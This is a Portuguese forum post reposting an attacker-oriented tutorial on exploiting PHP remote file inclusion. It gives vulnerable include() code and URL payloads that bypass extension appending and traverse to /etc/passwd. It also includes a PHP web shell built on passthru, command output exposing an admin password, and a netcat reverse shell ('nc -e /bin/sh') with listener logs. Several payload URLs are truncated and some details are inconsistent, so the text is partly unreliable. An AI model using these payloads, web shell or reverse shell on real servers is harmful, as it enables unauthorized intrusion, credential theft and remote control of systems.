Vi esse tuto num forum e achei muito interessante e bem explicativo e decidi postar aki..espero que gostemNa PHP temos um recurso chamado include, o qual nos permite incluir um
arquivo inteiro dentro de uma pagina já pronta. É muito usado em
páginas nas quais existe um layout pré-definido e o conteúdo central é
dinâmico.
exemplo1.php:
include ("arquivo.php");
?>
Neste exemplo, quando a página exemplo1.php fosse processada pelo
servidor web, todo o conteudo do arquivo.php seria processado pelo
servidor e colocado em exemplo1.php. Vamos supor que o arquivo.php
fosse escrito desta forma:
echo "
Data Cha0s - #datacha0s
;
?>
A funçao echo da PHP exibe na pagina web qualquer coisa que seja
inserida nela. Então, ao abrirmos a pagina exemplo1.php, a PHP a
processaria. Nesta página, a funçao include inclui uma pagina PHP
(aruqivo.php), que por sua vez tambem é processada fazendo com que o
codigo fique desta maneira:
exemplo1.php:
Data Cha0s - #datacha0s
O codigo fonte da pagina nao eh alterado, pois ela apenas executa o PHP no servidor e retorna a saida no seu navegador.
Com isso, vamos ao que interessa: a funçao include permite que façamos
inclusoes remotas, ou seja, poderemos incluir arquivos no codigo PHP,
mesmo que estes nao estejam no servidor onde a pagina se encontra.
[b] Exemplo:
include ('http://qualquerserver/pagina.php");
?>
Logo, a inclusao de arquivos é a base principal para conseguirmos
acesso à maquina remotamente. Vamos ver mais abaixo como injetar um
codigo malicioso na página a ser invadida. Muitos programadores de PHP
de hoje aprenderam a linguagem por meio de revistas, que por sinal
oferecem cursos bons, mas nao dao uma visao ampla sobre as medidas de
segurança que devem ser tomadas ao se programar uma pagina PHP.
Geralmente a funçao include é usada com intuito de agilizar a exibiçao
de uma página. É criado um layout estático, no qual somente o conteúdo
muda e, para isso, o programador tem que definir uma variavel, para que
esta possa receber o valor na qual será incluida no layout estático.
cobaia.php
Antes de incluir
include ($corpo);
?>
Depois de incluido
Neste exemplo, usei a funçao include e como parametro usei a variavel
$corpo. Essa variavel receberá um valor e tentará incluir o arquivo com
o nome que foi passado para ela.
Vamos ver como ficaria:
http://127.0.0.1/cobaia.php?corpo=arquivo.php Ao passar o parametro corpo=exemplo.php, estamos indicando que a PHP inclui o arquivo exemplo.php no código-fonte da pagina.
A partir de agora, por convençao, vamos usar o ip/host 127.0.0.1 como o
servidor no qual o atacante quer ganhar acesso, o 192.168.0.2 como o
ip/host no qual o exploit esta hospedado e localhost para o ip/host do
atacante.
Vamos simular uma inclusao remota de arquivo: o codigo usado na
simulaçao é identico ao cobaia.php e foi usado o arquivo.php como
descrito acima.
http://127.0.0.1/cobaia.php?corpo=http: ... rquivo.php
Muitas vezes, vamos nos deparar com outras formas de uso do include.
include ($corpo . ".php");
?>
O ponto logo apos $corpo e antes de .php é usado para concatenar strings.
Agora o usuario nao precisa mais passar com o parametro a extensao do arquivo:
http://127.0.0.1/cobaia.php?corpo=http: ... .2/arquivo
Antes de inclui-lo, será adicionado .php no final da variavel $corpo, tornando-a assim:
include ("http://192.168.0.2/arquivo.php);
?>
Esta forma é bastante comum e pretende facilitar a vida do programador,
mas isso traz varios problemas em potencial quando se trata de inclusao
de arquivos remotos sobre o ponto de vista do atacante.
Se o invasor estiver rodando seu servidor web com PHP ativo, ele nao
vai poder usar esta técnica, já que todo o conteudo php seria
pré-processado na maquina do atacante e a resposta é apenas incluida no
servidor-alvo. O que nós queremos é que o servidor-alvo execute as
instruçoes PHP que queremos.
Por isso, a partir de agora, nao vamos mais usar extensoes .php.
Podemos usar qualquer uma que nao seja pré-processada pelo servidor web
que vai hospedar o nosso exploit. Escolhemos .gif, mas voce pode usar
qualquer tipo de extensão:.txt, .bmp, .jpg.
Existe uma forma de consiguir burlar este tipo de declaraçao do include. Voce terá que usar a seguinte construçao:
http://127.0.0.1/cobaia.php?corpo=http: ... .2/xpl.gif?
Com esse ponto de interrogaçao logo apos o xpl.gif, voce conseguirá o
efeito desejado. Antes de fazer a inclusao, a PHP ficaria assim:
include ("http://192.168.0.2/
xpl.gif?.php");
?>
Tudo o que vier depois do ponto de interrogaçao será descartada pelo
servidor 192.168.0.2, sendo possivel assim descarregar o xpl.gif para
dentro do servidor alvo.
Portanto, a partir de agora, vamos sempre usar este ponto de interrogaçao, ja que pode ser usado nos dois casos.
Existem outras formas de construçao comuns também para o include, uma delas seria:
cobaia2.php:
include ("/var/www/htdocs/" . $corpo);
?>
Agora, se tentarmos incluir algo desta forma:
http://127.0.0.1/cobaia.php?corpo=http: ... .2/xpl.gif? resultaria em um erro porque o servidor não conseguiria fazer a inclusao de:
include ("/var/www/htdocs/http://192.168.0.2/xpl.gif?");
?>
Infelizmente, nossas chances de conseguir incluir arquivos remotamente
agora caiu a zero, mas ainda é possivel tirar vantagem desta situaçao
se tentarmos a seguinte construçao:
http://127.0.0.1/cobaia.php?corpo=../../../etc/passwd Na hora do include, ficaria assim:
include ("/var/www/htdocs/../../../etc/passwd");
?>
Permitindo assim que possamos ler qualquer arquivo no servidor do qual
tenhamos permissão para isso. Apenas arquivos como .php não poderiam
ser lidos, já que seriam processados pelo servidor nos impedindo de ver
o código-fonte.
Ler arquivos sensíveis como o /etc/passwd é essencialmente interessante
para lançar ataques futuros, já que agora voce possui uma lista de
todos os usuarios do computador. Com isso, voce pode tentar adivinhar
senhas com ferramentas automatizadas em daemons como SSH ou telnet.
Voce tambem pode ler arquivos como o etc/issue (no caso do Linux) para
determinar qual versao de distribuiçao o servidor-alvo roda (Red Hat
7.3, SuSE 8.0, Slackware 8.1) e assim lançar um ataque com maior grau
de precisao.
Ja sabemos como incluir um script de PHP remotamente. Podemos criar um script malicioso que seja executado dentro da pagina.
Abaixo segue um exemplo:
Data Cha0s CMD
// CMD - To Execute Command on File Injection Bug if (isset($chdir)) @chdir($chdir);
ob_start(); passthru("cmd"); $output = ob_get_contents(); ob_end_clean();
if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output)); ?>
|
Este codigo foi obtido na internet, mas fiz algumas modificaçoes nele.
Destaquei a funçao passthru, pois é ela que nos permite executar
comandos para o servidor no qual estamos fazendo a injeçao do código. A
funçao esa a variavel $cmd para armazenar os comandos e envia-los ao
sistema. Para usa-la devemos utilizar a seguinte sintaxe:
http://127.0.0.1/index.php?corpo=html:/ ... /etc/issue
Dica: Sempre que for usar um caractere de espaço, o substitua por %20 ou pelo simbolo de mais.
O simbolo & é um delimitador de parametros para index.php.
Portanto, nem ele nem o resto subsequente é passado para a funçao
include, ficando desta forma:
include("http://192.168.0.2/xpl.gif");
?>
O CMD será passado como forma de variável contendo o comando para ser
executado no servidor-alvo, que será interpretado pelo xpl.gif que foi
incluido no index.php.
Vamos então fazer a simulaçao da inclusao remota no servidor-alvo:
http://127.0.0.1/cobaia.php?corpo=http: ... /etc/issue
Neste exemplo, usamos o comando cat/etc/issue e o resultado foi:
Welcome to Linux Slackware 9.0.0
Kernel on an
Logo, já conhecemos o sistema operacional onde injetamos o código. Agora vamos verificar a versão do kernel e o ID:
http://127.0.0.1/cobaia.php?corpo=http: ... d=id;uname -a
O que foi mostrado na tela:
uid=99(nobody) gid=98(nobody) groups=98(nobody)
Linux dcha0s 2.4.20#2 Mon Mar 17 22:02:15 PST 2003 i586 unknown
Ja sabemos qual o nosso ID e a versão do kernel. Vamos agora executar um ls -al para verificar os arquivos no servidor:
htttp://127.0.0.1/cobaia.php?corpo=html ... if?&cmd=ls -al
Ao executarmos o comando, foi retornada a lista de arquivos da página
onde injetamos o codigo malicioso. ATENÇÃO, a listagem foi:
total 36
drwxr-xr-x 2 root root 4096 Oct 31 21:11 .
drwxr-xr-x 5 root root 4096 Feb 25 2001 ..
-rw-r--r-- 1 root root 100 Oct 31 15:32
admin.php
-rw-r--r-- 1 root root 54 Oct 31 14:36
arquivo.php
-rw-r--r-- 1 root root 137 Oct 31 14:36
cobaia.php
-rw-r--r-- 1 root root 159 Oct 31 14:49
cobaia2.php
-rw-r--r-- 1 root root 105 Oct 31 14:14
index.html
-rw-r--r-- 1 root root 2631 Oct 31 21:12
safemode.gif
-rw-r--r-- 1 root root 557 Oct 31 15:16 xpl.gif
Reparem nas permiçoes do arquivo admin.php (-rw-r--r--). Isso indica
que o dono do arquivo pode ler e escrever (rw-), o grupo pode ler (r--)
e outros usuarios podem ler (r--). Com base nisso, poderemos entao ler
o conteudo da pagina de administraçao do nosso suposto administrador.
http://127.0.0.1/cobaia.php?corpo=http: ... f?&cmd=cat admin.php
A saída foi:
if ($senha == 1234567890)
include("adm.php");
else
echo "Senha Inválida";
?>
Assim, podemos saber a senha para acessar a área administrativa do
site, que é 1234568790. O mesmo pode ser feito com conexoes a banco de
dados, geralmente os arquivos de DB sao:
connect.php, conexao.php, db.php. Pode-se usar também .inc.
Agora precisamos de uma shell, com a qual possamos dar comando
interativamente. Para isso, vamos usar a ferramenta netcat (nc). Voce
precisará dela no seu computador e na máquina-alvo.
Esse utilitário para Unix foi portado também para plataforma Windows pelo grupo l0pht. Para saber mais, entre no site:
http://www.l0pht.com.
Por ser uma ferramenta muito poderosa, a possibilidade de encontrá-la
no servidor no qual voce esta tentando acessar aumentou dramaticamente
nos últimos tempos. Algumas distribuiçoes Linux estão trazendo-a como
padrao agora.
Abrindo uma porta para receber os dados:
[root@dcha0s h4rv3st]# nc -vv -l -p 666
listening on [any] 666...
Pronto, ja temos nosso computador (a porta deve ser aberta no seu PC e
nao no servidor) escutando a porta 666. Agora vamos enviar a shell pelo
browser da seguinte maneira:
http://127.0.0.1/cabaia.php?corpo=http: ... usr/bin/nc -e /bin/sh localhost 666
Um erro ocorreu enquanto carregava:
http://127.0.0.1/cabaia.php?corpo=http: ... t%20%20666
Tempo esgotado no servidor
127.0.0.1
Isso aconteceu porque o servidor excedeu o tempo limite da conexao por
nao esperar a saida do comando executado para retornar ao seu
navegador. Mas vamos dar uma olhada no shell onde deixamos o netcat
escutando.
Voce verá que chegou uma conexão na porta, e agora pode dar comandos à vontade. Usamos o id e o uname -a para demonstrar:
[root@dcha0s h4rv3st]#nc -vv -l -p 666
listening on [any] 666...
connect to [127.0.0.1] from localhost [127.0.0.1] 1041
id
uid=99(nobody) gid=98(nobody) groups=98(nobody)
uname -a
Linux dcha0s 2.4.20 #2 Mon Mar 17 22:02:15 PST 2003 i586 unknown
Funciona perfeitamente. Só um detalhe: quando estiver na shell, nao use Ctrl+C , pois isso fará com que caia.